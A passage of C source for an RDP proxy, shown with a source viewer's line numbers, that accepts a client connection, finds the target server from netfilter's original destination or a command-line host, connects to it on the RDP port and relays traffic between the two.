if (listen(listener, 1) < 0) |
719 |
|
|
{ |
720 |
|
|
perror("listen"); |
721 |
|
|
return 1; |
722 |
|
|
} |
723 |
|
|
|
724 |
|
|
printf("RDPPROXY: waiting for connection...\n"); |
725 |
|
|
|
726 |
|
|
if ((client = accept(listener, NULL, NULL)) < 0) |
727 |
|
|
{ |
728 |
|
|
perror("accept"); |
729 |
|
|
return 1; |
730 |
|
|
} |
731 |
|
|
|
732 |
|
|
if ((server = socket(AF_INET, SOCK_STREAM, 0)) < 0) |
733 |
|
|
{ |
734 |
|
|
perror("socket"); |
735 |
|
|
return 1; |
736 |
|
|
} |
737 |
|
|
|
738 |
|
|
server_addr.sin_family = AF_INET; |
739 |
|
|
server_addr.sin_port = htons(TCP_PORT_RDP); |
740 |
|
|
|
741 |
|
|
#ifdef LINUX_NETFILTER |
742 |
|
|
if (argc < 2) |
743 |
|
|
{ |
744 |
|
|
/* Fetch server address from netfilter */ |
745 |
|
|
size_t sock_sz; |
746 |
|
|
sock_sz = sizeof(server_addr); |
747 |
|
|
|
748 |
|
|
if (getsockopt(client, SOL_IP, SO_ORIGINAL_DST, &server_addr, &sock_sz) != 0) |
749 |
|
|
{ |
750 |
|
|
perror("getsockopt"); |
751 |
|
|
fprintf(stderr, "Not a redirected connection?\n"); |
752 |
|
|
exit(1); |
753 |
|
|
} |
754 |
|
|
|
755 |
|
|
fprintf(stderr, "server IP = %s\n", inet_ntoa(server_addr.sin_addr)); |
756 |
|
|
} |
757 |
|
|
else |
758 |
|
|
#endif |
759 |
|
|
{ |
760 |
|
|
/* Use server name from command line */ |
761 |
|
|
if (NULL != (nslookup = gethostbyname(argv[1]))) |
762 |
|
|
{ |
763 |
|
|
memcpy(&server_addr.sin_addr, nslookup->h_addr, |
764 |
|
|
sizeof(server_addr.sin_addr)); |
765 |
|
|
} |
766 |
|
|
else if (INADDR_NONE == (server_addr.sin_addr.s_addr = inet_addr(argv[1]))) |
767 |
|
|
{ |
768 |
|
|
printf("%s: Unable to resolve host\n", argv[1]); |
769 |
|
|
return 1; |
770 |
|
|
} |
771 |
|
|
} |
772 |
|
|
|
773 |
|
|
if (connect(server, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) |
774 |
|
|
{ |
775 |
|
|
perror("connect"); |
776 |
|
|
return 1; |
777 |
|
|
} |
778 |
|
|
|
779 |
|
|
setsockopt(client, SOL_TCP, TCP_NODELAY, &true, sizeof(true)); |
780 |
|
|
setsockopt(server, SOL_TCP, TCP_NODELAY, &true, sizeof(true)); |
781 |
|
|
|
782 |
|
|
relay(client, server); |
783 |
|
|
|
784 |
|
|
close(server); |
785 |
|
|
close(client); |
786 |
|
|
return 0; |
787 |
|
|
} |